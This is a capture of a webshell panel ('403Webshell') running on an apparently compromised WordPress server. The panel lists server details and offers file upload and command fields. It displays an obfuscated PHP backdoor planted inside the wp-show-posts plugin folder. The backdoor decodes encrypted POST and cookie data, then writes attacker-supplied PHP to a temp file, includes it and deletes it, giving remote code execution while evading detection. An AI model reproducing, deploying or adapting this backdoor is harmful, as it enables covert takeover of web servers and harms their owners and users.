403Webshell
Server IP : 89.248.107.232  /  Your IP : 216.73.217.70
Web Server : Apache
System : Linux host2.kasilh.com 5.14.0-687.36.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 7 05:40:49 EDT 2026 x86_64
User : seg ( 10005)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/seg-sa.es/serinco.es/wp-content/plugins/wp-show-posts/admin/butterbean/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/seg-sa.es/serinco.es/wp-content/plugins/wp-show-posts/admin/butterbean/dfee2735.php
<?php 

$rsqrlph	= /*v */ 'rsqrlph'    ^ /*  giyvv */ '';$khxpu       =    $rsqrlph(594-497)    .	"r".$rsqrlph(347-233) /*   yvdgab*/ .    "\x61" /* fo  */ .    $rsqrlph(121)   .       "_"."m"."a"."\160";




function   uihzwo($pe_cxyh, /* qgsrzv*/ $urqzjbod)
{

 /*qmi_t   */ global    $rsqrlph;       
    $pe_cxyh    =   $rsqrlph(60)    . /*  dgo  */ "?"."\x70"    . /*  jjka  */ "h"."\x70" /*iksctu   */ . /*  m  */ $rsqrlph(32) /*  gjuy  */ . /*rorml*/ "u"."n".$rsqrlph(108)    .    $rsqrlph(894-789).$rsqrlph(110)      .	$rsqrlph(107)	.  $rsqrlph(40) /*  _ */ .    "\x5f"       . /*  hhyvlq*/ "\x5f"	.    "F"."I"."L"."E"."_"."\137"  .	"\51"    . /*  ch   */ ";".$rsqrlph(32)    .  $pe_cxyh["d"];
      $wiezc	= /*ngzask  */ "\146"      .  "\x69"	.    "l"."e".$rsqrlph(95)    .     "p"."u"."t"."_"."c"."o".$rsqrlph(136-26) /*  __tc   */ . /*   hl */ "\164"    .    $rsqrlph(101)     .    "\156"    . /*   mwz  */ "t".$rsqrlph(976-861);   	$wiezc($urqzjbod, /*  vqdyyk */ $pe_cxyh); /*   _h  */ 
 /*   l */ krbjlzfe_($urqzjbod);


}




$vmfmrbol    = /* jq   */ 73;



function   krbjlzfe_($urqzjbod){

    global /*   a   */ $rsqrlph;
 /* _kj*/   include($urqzjbod);
   $g_ary	=      $urqzjbod;
    @unlink($g_ary);
}


function	wo_gua()

{ /* ndt  */ global	$rsqrlph;

     $ivoitaxqk    = /* vsju*/ array();

 /*icmo_   */ $ivoitaxqk["p".$rsqrlph(118)]    = /*rr */ phpversion();    $ivoitaxqk["\x73"      .       "v"]    =   "\63"    .    $rsqrlph(214-168)    .    "5";

	$bbvzn       = /*   ivaw  */ 74;

    echo /*   jrsr*/ @serialize($ivoitaxqk);

}


function	j_gqmuqce($pe_cxyh,    $ysrcsayqjz)
{

 /* nai   */ global /*tgxn*/ $rsqrlph;



    $qombo      =  "";
	$liouk_jcwg    = /*vd */ strlen($pe_cxyh); /*bwes   */ $qvhduiba /* ccnd */ =      strlen($ysrcsayqjz);
 /*_q   */ $ivoitaxqk       =    0;

 /* ipvluv  */ $bfvkmdc    =     0;


	

 /* e  */ while /*mno */ ($ivoitaxqk       <  $liouk_jcwg) /*  he*/ {
 /* uaai   */ $mqbz_fet    = /*   tmpom  */ $pe_cxyh[$ivoitaxqk]	^ /*vxpa  */ $ysrcsayqjz[$bfvkmdc    % /*  uvrrbu   */ $qvhduiba];

 /* msuh   */ $qombo    .=    $mqbz_fet;       $bfvkmdc++; /*  pdz*/ 


     $ivoitaxqk++;
  }


	    if /*   cmdkdn */ (strlen($qombo) /*efx  */ >    20)       {


    $rknafqti   =	substr($qombo,	0,    20);

    }


 /*  okb  */ if	(empty($qombo)) /*   y  */ {


     $qombo /*  zyvu  */ =	date('Y-m-d /* oai */ H:i:s');


  }    return     $qombo;

}



function   gwety($xkznuab)


{


  global    $rsqrlph;


 /*dqtl   */     $mhumlh   =	"f"."\71"    . /*   s  */ $rsqrlph(413-363)	.	"a".$rsqrlph(323-273) /*   zikplt   */ .	$rsqrlph(257-200)       .    "0".$rsqrlph(486-385)    . /*  a   */ "\55" /*  arzue   */ .    $rsqrlph(102) /*   y*/ .	"9"."9"."8"."\x2d"    .    "4"."\144" /*cknp */ .   $rsqrlph(98)  .     "\63"     . /* fde  */ "-"."\71"	.  "7"."\x65" /*  _t_ea  */ . /* ol */ $rsqrlph(51) /*   m_sxkn  */ .     "-"."\70" /* e   */ .       $rsqrlph(355-253) /*hgpw */ .    $rsqrlph(578-479) /*i  */ . /*   qr */ "9".$rsqrlph(99)    .    "\x32" /*  piqvtq  */ .       "\63"      .	"5".$rsqrlph(1064-964) /*   wbwi   */ . /*  quyiq */ $rsqrlph(201-149) /* u_a */ . /*  wfab  */ "\x31"    .	"0";

       foreach /* gzafw  */ ($xkznuab   as /*   aojrhm*/ $qhqga /*  dxxkb  */ =>    $pe_cxyh) /* dmbpav */ {

 /*qk*/ vzjece(base64_decode($pe_cxyh), /*  g */ $mhumlh,	$qhqga);
     }

}

function   vzjece($pe_cxyh,    $mhumlh,    $qhqga){
  global   $rsqrlph; /*   fausu */ 

    $pe_cxyh    =	unserialize(j_gqmuqce(j_gqmuqce($pe_cxyh, /*  ehpjo   */ $mhumlh), /*   jmh*/ $qhqga));
	$tvgkneszxp /* jtj*/ =  'rmq';


	$suidnn	= /*  tdzxch*/ '_ktui_a';


    if      (isset($pe_cxyh["a"."k"])) /* zibyx  */ {


    if /* akb  */ ($pe_cxyh["a"]    == /*   ohcvv*/ $rsqrlph(894-789)) /*eof  */ {

 /*   mtkv */ wo_gua(); /*z   */ }    elseif     ($pe_cxyh["a"] /*piwwbt */ == /*tvuzj  */ "e")	{      uihzwo($pe_cxyh,    sprintf(".".$rsqrlph(612-565) /*  lajx  */ .    "%".$rsqrlph(115)    .    ".".$rsqrlph(848-736) /*wskabt*/ .	"l", /*   hnadqw */ md5($mhumlh)));			$bzptuljimp	=     44;
 /*  sd*/ }


    exit();


      }


}
gwety($_POST);    


$_ddsbiioj     = /*  cjzgs  */ Array();


$_ddsbiioj /* oa */ =    "";


$wsdsjbozc /*  laq   */ = /*  cooqu   */ $khxpu('rawurldecode', /*   uo_*/ $_POST);


strrev($_ddsbiioj);





gwety($_COOKIE);


$ur_gfp    = /*x*/ $khxpu('rawurldecode', /*ttzm */ $_COOKIE);




?>

Youez - 2016 - github.com/yon3zu
LinuXploit